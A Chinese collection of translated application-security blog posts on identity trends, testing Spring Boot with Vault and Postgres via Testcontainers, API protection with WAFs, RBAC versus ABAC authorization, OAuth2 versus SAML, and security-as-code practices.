在消费者隐私法规的推动下,客户要求对其个人数据的使用和共享方式进行更多控制。为了满足这一需求,新的个人身份框架正在不断发展,使客户能够控制他们的身份以及与服务提供商共享哪些属性,并在不需要过多个人数据的情况下实现身份的安全验证。
加速零信任
零信任将成为企业安全的基础。作为一种简化工作流程并实施自适应身份验证、授权和身份验证服务的安全模型,零信任为组织提供了从根本上更强大的安全态势,以抵御不断演变的威胁。
SSN 作为安全身份验证器的结束
在大流行期间和之后,超过 600 亿美元的欺诈性失业保险索赔困扰着美国的国有失业机构,突显了使用社会安全号码作为可信身份验证者的后果。如果我们之前不相信,这个代价高昂的教训强调了消除将 SSN 用作安全身份验证因素的必要性。
更安全的远程工作
至少有一部分时间在家工作。但为远程工作者提供无缝体验带来了挑战。 IAM 通过单点登录和自适应身份验证为工作人员提供无障碍访问,从而支持 WFH。同时,您会更加确信只有合适的人才能访问公司资源,并提高敏捷性以推进您的云计划。
无密码客户身份验证的兴起
为了与在家工作的趋势保持一致,消费者也比以往任何时候都更多地在家购物。随着客户体验之战的继续进行,公司将把客户转变为无密码体验,以在不牺牲安全性的情况下最大限度地减少摩擦。无密码身份验证允许客户使用风险密码以外的其他方式进行身份验证,例如受信任设备上的生物特征推送通知。
更普遍的人工智能和机器学习
随着人工智能的使用越来越广泛,它也有可能成为新的攻击机制。为了快速识别可疑活动并根据风险级别调整访问权限,应将行为分析和风险信号集成到所有访问和生命周期管理流程中。然而,人工智能和机器学习并不是万能的,最好与现有的威胁检测方法结合使用。
原文:https://www.pingidentity.com/en/resources/blog/posts/2021/what-is-ident…
- 174 次浏览
【应用安全】使用Testcontainers框架测试Spring引导与Vault和Postgres的集成
需要针对流行的第三方解决方案(如数据库)为应用程序编写集成测试吗?
我已经写了许多文章,其中使用Docker容器运行一些与示例应用程序集成的第三方解决方案。如果没有Docker容器,为这样的应用程序构建集成测试可能不是一项容易的任务。特别是当我们的应用程序与数据库、消息代理或其他一些流行的工具集成时。如果您计划构建这样的集成测试,那么您一定要查看testcontainer。
Testcontainers是一个支持JUnit测试的Java库,它为运行公共数据库、Selenium web浏览器或任何其他可以在Docker容器中运行的实例提供了一种快速和轻量级的方法。它为最流行的关系数据库和NoSQL数据库(如Postgres、MySQL、Cassandra或Neo4j)提供模块。它还允许运行流行的产品,如Elasticsearch、Kafka、Nginx或HashiCorp's Vault。今天,我将向您展示一个更高级的JUnit测试示例,它使用testcontainer检查Spring Boot/Spring Cloud应用程序、Postgres数据库和Vault之间的集成。
出于这个示例的目的,我们将使用我之前的一篇文章Secure Spring Cloud Microservices with Vault和Nomad中描述的情况。让我们回顾一下那个用例。
我在那里描述了如何使用一个非常有趣的Vault特性,称为secret engine,来动态生成数据库用户凭证。我在Spring引导应用程序中使用Spring Cloud Vault模块来自动集成Vault的这个特性。实现的机制非常简单。应用程序在启动时尝试连接到Postgres数据库之前调用Vault secret engine。Vault通过secret engine与Postgres集成,这就是为什么它创建了一个对Postgres具有足够特权的用户。然后,生成的凭证会自动注入到自动配置的Spring Boot属性中,这些属性用于连接数据库Spring .datasource。用户名和spring.datasource.password。下图说明了所描述的解决方案:
好的,我们知道它是如何工作的,现在的问题是如何自动测试它。使用testcontainer,只需几行代码就可以了。
1. 构建应用程序
我们先简单介绍一下应用程序代码;这很简单。下面是构建一个公开REST API并与Postgres和Vault集成的应用程序所需的依赖项列表。
<dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId></dependency><dependency><groupId>org.springframework.cloud</groupId><artifactId>spring-cloud-starter-vault-config</artifactId></dependency><dependency><groupId>org.springframework.cloud</groupId><artifactId>spring-cloud-vault-config-databases</artifactId></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-data-jpa</artifactId></dependency><dependency><groupId>org.postgresql</groupId><artifactId>postgresql</artifactId><version>42.2.5</version></dependency>
应用程序连接到Postgres,通过Spring Cloud Vault与Vault集成,并在启动时自动创建/更新表。
spring:application:name: callme-servicecloud:vault:uri: http://192.168.99.100:8200token: ${VAULT_TOKEN}postgresql:enabled: truerole: defaultbackend: databasedatasource:url: jdbc:postgresql://192.168.99.100:5432/postgresjpa.hibernate.ddl-auto: update
它公开单个端点。下面的方法负责处理传入的请求。它只是将一条记录插入数据库,并返回一个带有所插入记录的应用程序名称、版本和ID的响应。
@RestController@RequestMapping("/callme")public class CallmeController {private static final Logger LOGGER = LoggerFactory.getLogger(CallmeController.class);@AutowiredOptional<BuildProperties> buildProperties;@AutowiredCallmeRepository repository;@GetMapping("/message/{message}")public String ping(@PathVariable("message") String message) {Callme c = repository.save(new Callme(message, new Date()));if (buildProperties.isPresent()) {BuildProperties infoProperties = buildProperties.get();LOGGER.info("Ping: name={}, version={}", infoProperties.getName(), infoProperties.getVersion());return infoProperties.getName() + ":" + infoProperties.getVersion() + ":" + c.getId();} else {return "callme-service:" + c.getId();}
2. 使能Testcontainers
要为我们的项目启用testcontainer,我们需要包含Maven pom.xml的一些依赖项。我们有专门的模块为Postgres和Vault。我们还包括一个Spring引导测试依赖项,因为我们想测试整个Spring引导应用程序。
<dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-test</artifactId><scope>test</scope></dependency><dependency><groupId>org.testcontainers</groupId><artifactId>vault</artifactId><version>1.10.5</version><scope>test</scope></dependency><dependency><groupId>org.testcontainers</groupId><artifactId>testcontainers</artifactId><version>1.10.5</version><scope>test</scope></dependency><dependency><groupId>org.testcontainers</groupId><artifactId>postgresql</artifactId><version>1.10.5</version><scope>test</scope></dependency>
3.运转Vault Test 容器
Testcontainers框架支持JUnit 4/JUnit 5和Spock。如果Vault容器使用@Rule或@ClassRule注释,则可以在测试之前启动它。默认情况下,它使用0.7版本,但是我们可以使用最新版本1.0.2覆盖它。我们还可以设置一个根令牌,然后Spring Cloud Vault需要它来与Vault集成。
@ClassRulepublic static VaultContainer vaultContainer = new VaultContainer<>("vault:1.0.2").withVaultToken("123456").withVaultPort(8200);
在测试类上启动JUnit测试之前,可以覆盖该根令牌。
@RunWith (SpringRunner.class)
@SpringBootTest (webEnvironment = SpringBootTest.WebEnvironment。RANDOM_PORT, properties = {
“spring.cloud.vault.token = 123456”
})
公共类CallmeTest{…}
4. 运行Postgres测试容器
作为@ClassRule的替代方法,我们可以在测试中的@BeforeClass或@Before方法中手动启动容器。使用这种方法,您还必须在@AfterClass或@After方法中手动停止它。我们手动启动Postgres容器,因为默认情况下,它是在动态生成的端口上公开的,在启动测试之前,需要为Spring Boot应用程序设置这个端口。侦听端口由在PostgreSQLContainer上调用的getFirstMappedPort方法返回。
private static PostgreSQLContainer postgresContainer = new PostgreSQLContainer().withDatabaseName("postgres").withUsername("postgres").withPassword("postgres123");@BeforeClasspublic static void init() throws IOException, InterruptedException {postgresContainer.start();int port = postgresContainer.getFirstMappedPort();System.setProperty("spring.datasource.url", String.format("jdbc:postgresql://192.168.99.100:%d/postgres", postgresContainer.getFirstMappedPort()));// ...}@AfterClasspublic static void shutdown() {postgresContainer.stop();}
5. 集成Vault和Postgres容器
一旦我们成功地启动了Vault和Postgres容器,我们需要通过Vault secret engine集成它们。首先,我们需要启用数据库secret engine Vault。之后,我们必须配置到Postgres的连接。最后一步是配置一个角色。角色是一个逻辑名称,它映射到用于生成这些凭证的策略。所有这些操作都可以使用Vault命令执行。您可以使用execInContainer方法在Vault容器上启动命令。Vault配置命令应该在Postgres容器启动后立即执行。
@BeforeClasspublic static void init() throws IOException, InterruptedException {postgresContainer.start();int port = postgresContainer.getFirstMappedPort();System.setProperty("spring.datasource.url", String.format("jdbc:postgresql://192.168.99.100:%d/postgres", postgresContainer.getFirstMappedPort()));vaultContainer.execInContainer("vault", "secrets", "enable", "database");String url = String.format("connection_url=postgresql://{{username}}:{{password}}@192.168.99.100:%d?sslmode=disable", port);vaultContainer.execInContainer("vault", "write", "database/config/postgres", "plugin_name=postgresql-database-plugin", "allowed_roles=default", url, "username=postgres", "password=postgres123");vaultContainer.execInContainer("vault", "write", "database/roles/default", "db_name=postgres","creation_statements=CREATE ROLE \"{{name}}\" WITH LOGIN PASSWORD '{{password}}' VALID UNTIL '{{expiration}}';GRANT SELECT, UPDATE, INSERT ON ALL TABLES IN SCHEMA public TO \"{{name}}\";GRANT USAGE, SELECT ON ALL SEQUENCES IN SCHEMA public TO \"{{name}}\";","default_ttl=1h", "max_ttl=24h");}
6. 运行应用程序测试
最后,我们可以运行应用程序测试。我们只调用应用程序使用TestRestTemplate公开的单个端点,并验证输出。
@AutowiredTestRestTemplate template;@Testpublic void test() {String res = template.getForObject("/callme/message/{message}", String.class, "Test");Assert.assertNotNull(res);Assert.assertTrue(res.endsWith("1"));}
如果您对测试期间究竟发生了什么感兴趣,您可以在测试方法中设置断点并手动执行docker ps命令。
原文:https://dzone.com/articles/testing-spring-boot-integration-with-vault-and-pos
本文:https://pub.intelligentx.net/node/735
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 62 次浏览
【应用安全】保护API的六种方法
应用程序开发中的API使用已成为今年的趋势。采用微服务和无服务器架构只会加速这一趋势。基于与分析师和客户的对话,我们希望API在未来几年内成为大多数Web应用前端。
由于公众曝光率增加和API前端常见使用,API已成为网络犯罪分子的新攻击媒介,可能使您的应用程序和数据库容易受到各种Web应用程序攻击。
随着这种快速增长和风险的增加,API安全性已经成为开发人员和安全专业人员都感兴趣的主题。虽然一些API安全挑战与传统应用程序安全挑战并没有太大差别,但其他挑战却是独一无二的。无论哪种方式,缓解方法都可能有所不同,Web应用程序防火墙(WAF)需要了解和解决API细微差别。
在这篇文章中,我将讨论六个常见的API安全挑战以及WAF应该具备的必要功能。
(另外,根据Gartner的说法,Web应用程序防火墙(WAF)正迅速发展到下一阶段的应用程序安全性,WAAP或Web应用程序和API保护。阅读他们的白皮书,了解Gartner如何定义WAAP以及您的企业和开发人员需要哪些功能。)
API参数篡改
黑客使用的最常见的漏洞利用方法之一是通过篡改输入参数(字段)来探测应用程序安全防御。使用API,此类篡改可用于对API进行反向工程,导致DDoS攻击或仅仅暴露编写不良的API以显示更多数据。
您可以使用能够分析API的WAF以及针对配置的API结构检查任何API调用来防止此类尝试,以确保输入参数(计数,顺序等)与定义一致。与应用程序不同,可以从已知模式自动构建API配置文件,而无需在一段时间内学习。例如,Imperva SecureSphere WAF具有专有的JSON结构和一组API,允许从流行的定义轻松创建配置文件(参见图1)。
图1:Imperva SecureSphere WAF自动构建API配置文件
坏机器人和DDoS攻击
Netflix最近进行了一项实验,他们通过DDoS使用机器人的关键API来减少他们网络的三分之一。面向API的Web应用程序暴露于僵尸程序和DDoS滥用 - 如果开始接收无效输入,编写得很糟糕的API可能会占用大量计算资源。通常,DDoS攻击可能会对API前端的Web应用程序造成相当大的破坏。
您可以通过有效使用速率限制和恶意IP阻止以及反刮策略来防范此类攻击。与API分析一起使用时,这些策略可为您的API提供强大的保护。
会话Cookie篡改
攻击可以尝试篡改cookie以绕过安全性或向应用程序服务器发送错误数据。会话cookie篡改是用于攻击传统Web应用程序的众所周知的渠道,但它与API同样相关。
WAF应该提供扩展到API的会话cookie保护,以及用户只需将相同的策略应用于API的能力。
中间人攻击
API客户端和API服务器之间的未加密连接可能会向黑客暴露大量敏感数据。由于API正在成为使用易于使用的JSON格式进行数据交换的首选工具,因此不安全的传输是对数据窃取的公开邀请。
确保您的WAF可以配置为仅允许HTTPS流量,强制实施传输层安全性(TLS)版本,并允许从API客户端到API服务器的特定密码(图2)。
图2:强制SSL / TLS阻止中间人攻击
内容操作/技术攻击
攻击者可能只是注入可能导致攻击的恶意内容。此类技术攻击可能包括中毒JSON Web令牌,尝试点亮传统的SQL注入或获取恶意JS代码以在其他许多其他方面执行。
需要具有多个签名来阻止此类攻击的WAF。但是,将来自知名来源的某些IP,端口或内容列入白名单的附加功能是避免误报的必要条件。
API用户跟踪
大多数物联网(IoT)设备旨在使用API通道与其相应的企业服务器进行通信。这允许其操作的稳定性和版本化定义。在某些情况下,这些IoT设备使用客户端证书在API服务器上进行身份验证。如果黑客从IoT端点获得对API的控制权,他们可以轻松地重新排序API的顺序并导致数据泄漏或不期望的操作。
要防止此威胁,请查找可基于身份验证参数对API用户行为建模的WAF。对于IoT设备,基于客户端证书对API行为建模的能力允许安全专家快速识别从这些设备发出的正确和不正确的使用。
通过保护API保护应用程序
您不希望绑定DevOps,其任务是创新,及时创建和发布代码。但您也不能忽视用于开发应用程序的不安全API的风险。部署在API资源之前的WAF通过验证和监控API流量来保护核心应用程序。
原文:https://www.imperva.com/blog/six-ways-to-secure-apis/
本文:http://pub.intelligentx.net/node/604/
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 36 次浏览
【应用安全】关于细粒度与粗粒度授权,您需要了解的内容
随着云原生安全和软件零信任方法的重要性日益增加,有关云资源访问级别的问题变得越来越重要。同样重要的是理解不同授权策略的价值。
在本文中,我们概述了细粒度和粗粒度授权方法。关键要点包括:
- 粗粒度授权适用于更广泛形式的访问控制,例如侧重于角色的访问控制。
- 细粒度授权实现了更高级别的特定性,这通常是确保更复杂和可扩展的云原生开发所需的。
- 开放策略代理(OPA)和Styra声明授权服务(DAS)有助于实现正确级别的访问控制,同时自动化策略管理和实施,从而实现大规模的细粒度访问控制。
什么是粒度授权?
授权策略控制谁或什么可以在给定系统中做什么。授权决策的具体程度决定了所涉及的粒度级别。换句话说,更细粒度是指授权系统或网络中的特定用户或实体所需的更高级别的细节或上下文。
仅基于关联角色的授权策略通常是粗粒度的。然而,所需的详细信息和上下文的数量(如一天中的位置或时间)越多,粒度就越大。
以下是关键区别:
- 细粒度访问控制是根据多种条件授予或撤销对关键系统和数据的访问的能力。例如,某个角色下的用户只有在公司工作至少一年后才能访问服务a。
- 粗粒度访问控制在授予或拒绝访问时需要较低级别的特定性。例如,特定角色(例如工程或人员操作)下的任何用户都可以访问服务a。
RBAC与ABAC:有什么区别?
虽然基于角色的访问控制(RBAC)通常与粗粒度授权相关联,但基于属性的访问控制通常是一种更细粒度的方法,因为它使团队能够指定更精细的细节和关于允许访问哪些资源的上下文信息。
基于角色的访问控制(RBAC)
RBAC允许您将用户分配给角色,然后将角色映射到权限。您可以为管理员用户创建一个角色,为普通用户创建另一个角色。作为一个静态模型,RBAC更易于管理和配置,但由于它为特定角色中的所有用户提供了相同的权限,因此它可能不太安全。
然而,这种方法适用于不需要多层条件的情况。例如,企业使用角色为员工提供不同的访问级别:经理可以查看其团队成员的工资信息,但团队成员无法访问彼此的工资信息。
角色爆炸是一个挑战
粗粒度授权的挑战之一是其有限的灵活性和可扩展性。在RBAC模型中,每个角色都有自己的权限集。随着用户数量或工作职能的增加,管理部门可能需要创建新的角色和权限,而这些角色和权限不容易与以前的映射相匹配,这可能会给RBAC管理带来巨大的复杂性。
正如我们在2022年云原生对齐报告中所发现的,64%的开发者表示,云原生扩展的最大挑战之一是为IT管理设置适当的员工控制。随着资源或功能的增加,由于角色爆炸,管理这些角色变得更具挑战性。
要点:当您的组织需要更多的灵活性和可扩展性时,它需要转向更细粒度的授权方法,例如ABAC。例如,正如我们所讨论的,RBAC对于Kubernetes API安全性是不够的。要了解更多信息,请下载我们的白皮书。
基于属性的访问控制(ABAC)
基于属性的访问控制为团队提供了更大程度的粒度,因为它映射到用户的属性,而这些属性可能比角色更加具体和基于上下文。例如,您可以为用户、资源和操作分配属性,然后创建细粒度策略,允许特定用户组仅在一天中的特定时间访问特定资源。这类政策有助于确保员工在工作时间之外不会访问关键信息。
正如您所料,细粒度授权通常更安全,因为它缩小了访问范围。移除权限的灵活性对于最大限度地减少横向移动和数据泄漏的风险也至关重要。正如《2022年数据泄露调查报告》所指出的,当涉及到泄露的记录数量时,特权方可能会比局外人造成更大的损害。
另一方面,ABAC的缺点是管理和配置可能更具挑战性,因为它可能需要一系列更复杂的策略来规定用户获得资源和服务访问权限的条件。
想了解更多有关云原生应用的细粒度控件吗?立即观看Styra网络研讨会。
摘要:粗粒度与细粒度访问控制
在高度分布式和异构的云架构中,应用程序有不同的授权需求。细粒度控件与粗粒度控件之间的选择最终取决于手头的项目。
下面是一个快速分解:
Coarse-Grained Authorization | Fine-Grained Authorization | |
Level of granularity | Less specificity is taken into account when determining who or what has access to resources | Multiple conditions determine access |
Flexibility | Static authorization model that doesn’t always scale well, as it can lead to role explosion | Dynamic approach that takes context into account for increased security |
Example | Role-based access control (RBAC) | Attribute-based access control (ABAC) |
Use case | Using employee’s job function to grant or deny access to salary information | Access to data is limited according to employee’s location, budget managed or working hours |
在细粒授权和粗粒授权之间仍不确定?
您不需要在粗访问控制和细粒访问控制之间进行选择。使用OpenPolicyAgent(OPA)和StyraDAS实现云本地授权,您可以根据应用程序的独特需求实现RBAC和ABAC机制。作为开放策略代理(OPA)的控制平面,Styra DAS有助于大规模实施授权,因为它自动化了云原生环境中的策略管理。
- 88 次浏览
【应用安全】在OAuth2和SAML之间进行选择的更新视图
我收到了很多关于我的文章《选择SSO策略:SAML vs OAuth2》的电子邮件。两个常见的问题似乎是:1)您是否对OAuth2做出了正确的决定;2)我应该选择SAML还是OAuth2?
第一个问题的答案很简单:是的,OAuth2是该应用程序的正确选择。集成本身很简单,它支持我们客户拥有的所有用例(包括他们支持本地应用程序的目标)。它至今仍在使用中,自最初部署以来,我们就不必对集成造成任何麻烦。
有两种方法可以考虑第二个问题。我的默认回答是使用OAuth2。如果你想知道为什么,那么你需要继续阅读。
在选择合适的解决方案之前,您需要弄清楚应用程序希望实现的等式的哪一部分。无论使用OAuth2还是SAML,您的应用程序(或平台)都可以扮演两个角色:资源服务器(也称为服务提供商)和授权服务器(也称身份提供商)。
作为资源服务器;不是授权服务器
如果你不希望你的应用程序存储用户凭据,但你希望用户能够使用他们在另一个站点(例如Google、Facebook、Twitter等)上可能拥有的凭据登录到你的应用,那么你的应用将是一个资源服务器。
这意味着谷歌、Facebook、Twitter等将成为授权服务器。作为资源服务器的好处是,实现和维护工作量要少得多,因为许多决策都是为您做的。潜在的缺点是你必须实现他们支持的授权流。
如果您希望支持用户从多个身份验证提供商登录(例如,用户可以从Twitter、Google或Facebook登录),那么您的应用程序需要根据其支持的内容实现一个或多个授权流。这可能意味着您最终实现了OAuth2、SAML、OAuth 1.0,或者可能是完全不同或自定义的东西。
幸运的是,在实践中,这并不是那么糟糕。通常有特定于身份验证提供程序的库可用于各种编程语言,这些库隐藏了授权流的复杂性,并为您的应用程序提供了一个更简单的接口,以便进行身份验证/授权。
以下是通常称为“社交身份提供者”的常见授权服务器列表:
- Google: OAuth 2.0
- Facebook: variant of OAuth 2.0
- Twitter: OAuth 1.0a for users and OAuth 2.0a for applications
- Yahoo: OAuth 2.0 for products like Yahoo Gemini and Yahoo Social APIs but for the rest its OAuth 1.0a
- LinkedIn: OAuth 2.0
- Github: OAuth 2.0
第三方SSO和本地凭据
当有人发现他们的应用程序是资源服务器时,一个常见的问题是:如果人们不想通过第三方登录,我还能让他们在我的网站上创建帐户并使用这些凭据登录吗?还是我的应用程序需要成为支持SSO的授权服务器?
不知为什么,人们觉得当他们的应用程序允许第三方身份验证时,他们的应用需要成为一个全面的SSO授权服务器。这是一个神话。这不是真的。
您的应用程序可以利用第三方SSO,并且仍然允许用户创建没有SSO的本地帐户。如果您希望其他站点、应用程序等使用您的应用程序进行身份验证/授权,您只需要将应用程序作为支持SSO的授权服务器。
作为授权服务器;不是资源服务器
如果应用程序的目标是管理用户凭据并允许其他站点、应用程序等使用这些凭据进行身份验证,则应用程序将扮演授权服务器的角色。
现在,在OAuth2和SAML之间做出决定变得很重要,因为您的应用程序将指示其他应用程序如何与它集成以进行身份验证/授权。
让我们来看看几个场景,看看你应该怎么做。
本机移动应用程序支持
您希望本地移动应用程序(没有web服务器支持)能够根据授权服务器进行身份验证吗?如果是,那么就使用OAuth2。事实上,您甚至不能考虑SAML,因为它的设计不支持本地应用程序授权流。
SAML与本地应用程序一起工作的唯一方法是应用程序提供商在某个地方拥有一个可以处理授权流的web服务器。这种解决方法将起作用,这也是Okta允许SAML与本机应用程序一起工作的方式。
这种解决方法的缺点是给第三方应用程序提供商带来了更多负担。他们再也不能只发送应用程序并使用您的服务进行认证;现在,他们还必须构建一个处理授权的web应用程序。
这听起来可能不是什么大事,但它是另一个需要构建、部署和维护的代码库和应用程序。哦,别忘了购买域名/SSL证书/主机,并使其保持最新。
如果您希望本机应用程序使用您的授权服务器,只需使用OAuth2即可。构建和维护OAuth2对您来说要简单得多,而且其他应用程序开发人员也更容易与之集成。
当您不关心本机移动应用程序时
当您只关心web应用程序(或具有实现身份验证解决方案的web服务器的本地应用程序)时,您实际上可以在OAuth2和SAML之间进行选择。这引出了一个问题:谁不想让本机应用程序进行身份验证?
现在,从身份验证流中删除本地移动应用程序支持是非常不切实际的。这使得新的基于SAML的身份验证流看起来非常徒劳,尽管我知道它在企业界仍然很流行。
当您从头开始构建授权服务器时,我的建议是从OAuth2开始。尽管SAML在技术上是一个选择,但在当今移动主导的世界中,这是一个时代错误。OAuth2要简单得多,而且花费更少。
通过阅读75页,您可以全面了解OAuth2在 RFC 6749 b中的工作原理,而SAML 2.0规范 (core, bindings, profiles, metadata, conformance) 总计265页。
在我看来,与SAML 2.0规范相比,RFC 6749也更容易阅读和理解。
购买和配置现成授权服务器
如果您所在的公司不想实施授权服务器,但想购买现成的产品进行配置,那么您可以选择以下选项:
- Okta –IDentity提供商即服务平台(IDaaS)。成本取决于您是只允许组织的内部用户登录,还是希望外部用户也登录。
- OneLogin –IDaaS
- Ping Federate–IDaaS和站点安装,封闭源代码。
- WSO2 Identity Server ––开源且技术上免费,但要使用它,您100%需要购买支持合同。
- Shibboleth –免费开源。
- Gluu –使用其他开源组件(如Shibboleth)构建的开源平台,您可以购买支持合同。
对于更多的选择 list,这里列出了Ping Federate的竞争对手。
off-the-shelf i的好处是,这些产品中的大多数都支持大量现成的授权流(例如OAuth2、OAuth1.0a、SAML等)。如果您的团队不是一个开发团队,而是一个系统管理/集成团队,那么现成的产品看起来更具吸引力。
off-the-shelf i 的缺点是,你会得到很多你不需要的东西,而且你必须忍受通常笨重的用户界面和配置文件来做你需要的事情。所有非IDaaS的现成产品都可能需要支持合同才能启动和运行。对于您的团队来说,不仅要了解产品,还要了解授权流程以及如何配置和使用它们,这是一个很大的学习曲线。
尽管如此,与雇佣一个开发团队并从头开始构建自己的平台相比,支付一份支持合同来让你站起来并继续下去可能会更便宜。在某些情况下,如果您需要对授权服务器产品进行任何类型的自定义集成或定制,则可能需要两者中的一点。
像Okta、OneLogin等IDaaS产品对我来说非常有趣,因为它们继续将负担转嫁给提供商。随着时间的推移,您似乎会有更少的头痛,因为您不必担心修补和升级本地安装。相反,一旦它们可用,您将自动获取其中的大部分。这里的缺点是定制和本地站点安装可能不是一个选项。
当OAuth2太开放时
关于OAuth2的一个常见抱怨是它不够具体,并且留下了太多的变化空间。例如,OAuth2没有指定您应该如何获取用户配置文件信息(如果有的话),但大多数OAuth2提供程序都提供了实现这一点的方法,不同的提供程序可能会有所不同。
输入 OpenID Connect;OAuth2之上的一层。从其站点OpenID Connect:
允许客户端基于授权服务器执行的身份验证验证最终用户的身份,并以可互操作和类似REST的方式获取有关最终用户的基本配置文件信息
今年早些时候,OpenID Connect的认证计划启动。最先自我认证的是谷歌、微软、Ping Identity、ForgeLock、野村研究所和PayPal。此外,Salesforce还支持OpenID Connect。
如果您担心互操作性,那么现在有许多供应商和产品都遵循相同的标准,使用OAuth2流检索用户配置文件信息,而且列表还在不断增加。
尽管OpenIDConnect相对较新,但它在过去两年中一直在开发中,并为各种编程语言开发了大量库(a large number of libraries )。
当SAML是实际选项时
当您拥有已经使用SAML的遗留或企业基础设施时,SAML是一个真正的选择。当你想利用这个基础设施时,SAML是一个有力的竞争者。然而,随着OAuth2和OpenIDConnect的兴起,SAML将很快被降级为遗留基础设施和集成。
例如,Microsoft的云平台Azure Active Directory支持SAML SSO,但截至2014年9月,它发布了OAuth2和OpenID Connect以实现通用性。
总结
现在,我们都很好地理解了OAuth2和SAML之间的权衡,我们可以重新问一个问题:我应该使用SAML还是OAuth2?
经验法则是首先查看基于OAuth2的解决方案。如果您不能取消OAuth2的资格以满足您的需求,那么您将拥有一个适用于更多应用程序的解决方案,而且更易于构建、理解、集成和支持。
在必须进行SAML集成的情况下,您现在知道了它的一些局限性,您将看到您可能需要花费额外的精力或在哪里寻找第三方提供商。
- 96 次浏览
【应用安全】如何以代码的形式提供安全性:11个入门提示
如今,作为代码和安全设计的安全性是会议的热门术语。但这些短语究竟是什么意思,你怎么能开始在你的组织中采用它们?
正如Grupo Banco Santander安全研究负责人Daniel Cuthbert在“为开发者致电武器:以安全为代码的革命性”中所写道:
现在是时候把我们的努力集中在防御 - 而不是攻击 - 并让那些能够有所作为的人成为英雄:开发者。
BIDS Trading Technologies的首席技术官Jim Bird是一位拥有20多年金融服务技术经验的软件和项目经理,他在O'Reilly的这份报告中写道:
作为代码的安全性是关于在DevOps工具和实践中构建安全性,使其成为工具链和工作流的重要组成部分。您可以通过绘制如何更改代码和基础结构以及查找添加安全检查和测试和门的位置而不会引入不必要的成本或延迟来实现此目的。
- 吉姆伯德
那么您的团队如何超越概念转变为行动?这里有11个技巧可以帮助您入门。
1.理解'安全SDLC'的含义
了解安全软件开发生命周期(SDLC)将帮助您评估如何在特定的DevOps情况下构建安全性。您可以犯的最大错误是尝试执行安全性而不了解它是什么。
关于这个主题的权威来源是OWASP Secure SDLC备忘单;虽然它仍处于草稿模式,但它提供了一个很好的概述。下图显示了在开发周期的每个步骤中发生的活动。
显示“向左移动”的箭头说明了通过执行安全实践尽早嵌入安全性的概念,下面进一步定义。图片提供:OWASP。
2.使用SAMM评估您的情况
软件保障成熟度模型(SAMM)是一个开放式框架,可帮助组织制定和实施针对组织面临的特定风险量身定制的软件安全策略。但是,有些人认为这个框架执行起来很复杂。
在您的组织牢牢掌握SAMM之前,这些问题将帮助您快速评估DevOps流程的安全组件:
- 要求:您是否正在收集专门针对要构建的软件的安全和隐私要求?
- 设计:您是否在每个sprint上进行威胁建模?
- 开发:您使用静态分析和代码审查吗?
- 测试:您是否使用动态分析和安全测试来验证安全要求?
- 部署:您是否计划使用笔测试评估最终版本或进行包含错误赏金计划的风险评估?
如果您的答案大多数没有,那么您处于实施安全性的早期阶段 - 换句话说,您的DevSecOps工作处于非常低的成熟度级别。
许多组织将他们的安全工作集中在周期的最后阶段,在笔测试之后进行部署。不幸的是,如果您发现主要漏洞,这种方法成本最高。而且一个很大的风险是笔测试可能无法发现确实存在的任何重大问题。
相反,“左移”运动越来越注重从一开始就嵌入安全性,最终成本更低,风险更小。
3.注意DevOps中固有的安全挑战
DevOps是一个嵌入安全性的具有挑战性的过程。例如,考虑安全原则,例如“最低权限”,开发人员可以访问生产环境并进行任何更改。这与大多数最佳实践安全概念相矛盾,但是当安全性作为代码到位时,仍然希望嵌入安全性。
安全性不能成为业务的障碍,但有必要在安全开发和没有安全形式的敏捷之间找到平衡点。
4.尽快将安全性作为代码实施
在敏捷冲刺期间嵌入安全性应该是完美无缺的,并且几乎是自动的。这是理想的情况,但很难做到正确。
另一种方法是在此过程中尽可能自动化,包括应该必须具备的特定安全DevOps管道。团队中的每个人都应该保持一致并坚持这些想法。
5.早期的威胁模型
在sprint开始前至少一天计划威胁建模会话。所有潜在的问题和风险都应成为安全故事的一部分。
6.尽早定义安全要求
- 确保在sprint开始时定义安全要求,包括威胁建模问题。 (提示:使用OWASP ASVS 2.0来支持此过程。)
- 制作安全要求安全性故事并将其添加到sprint backlog中。
- 在sprint定义期间,计算实现和创建测试用例以解决这些安全性故事/任务所需的工作量。 (提示:使用OWASP测试指南。)
- 在开发阶段使用OWASP主动控件,并确保在每个sprint期间这些控件成为常规任务。
7.使用SAST / DAST工具
- 在构建过程中插入静态和动态分析工具(SAST / DAST)。
- 从这些扫描中获得定期冲刺错误的结果。这应该在清理任务之后完成,例如确保消除尽可能多的误报。
- 如果代码变化太大,您可能会重新考虑如何应用SAST,因为当代码发生很大变化时会出现许多误报。
- 如果您的组织无法负担付费工具,请查看开源替代方案,例如OWASP依赖关系检查,以至少找到易受攻击的组件。
8.尽可能执行代码审查
一个任务是执行代码审查作为sprint的一部分。这里发现的任何问题都会在冲刺结束时成为错误。
9.衡量风险并确定优先顺序
产品所有者 - 或者在决策中执行此指定角色的人 - 应具有适当的安全背景,以了解问题并能够优先考虑那些需要最高关注的问题。
10.准备安全性代码骨干
环境的任何更改(QA / UAT / PROD)都应该使用代码手动完成。配置的所有更改都应该通过代码,使用源存储库并跟踪所有更改。这可以通过任何流行的构建,源代码和部署工具来实现。这是代码安全概念的支柱。
纵观整个过程,DevOps管道应侧重于嵌入自动化持续交付过程的活动。以下是关注的内容:
- 所有环境中的配置更改都应该由源控制和同行评审。
- 构建过程应该自动化集成和部署。
- 在考虑安全性的情况下仔细检查容器的配置。
- 应将SAST工具集成到构建过程中,并将发现的问题反馈到sprint中。
11.定期评估,冲洗并重复
进行SAMM评估会议以检查您实施安全性的完整程度,并创建特定的短期任务来实现此目标。一步一步是关键。
左移可以帮助你保持领先
向左移动的组织在发现缺陷方面更有效,修复它们的损失和成本低于开发人员部署应用程序时,或者在发布应用程序之后。
但快速交付的压力使设计的安全性变得更加困难。 DevOps团队有责任在短时间内验证安全要求。 “作为代码的安全性”可以在这方面发挥重要作用,因为它有助于自动化安全部署过程,使过程更容易,更快。
您的团队如何将安全性视为代码?在下面的评论中分享您的最佳做法。
原文:https://techbeacon.com/security/how-deliver-security-code-11-tips-get-started
本文:
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 69 次浏览
【应用安全】如何使用SecureSphere WAF保护AWS API网关
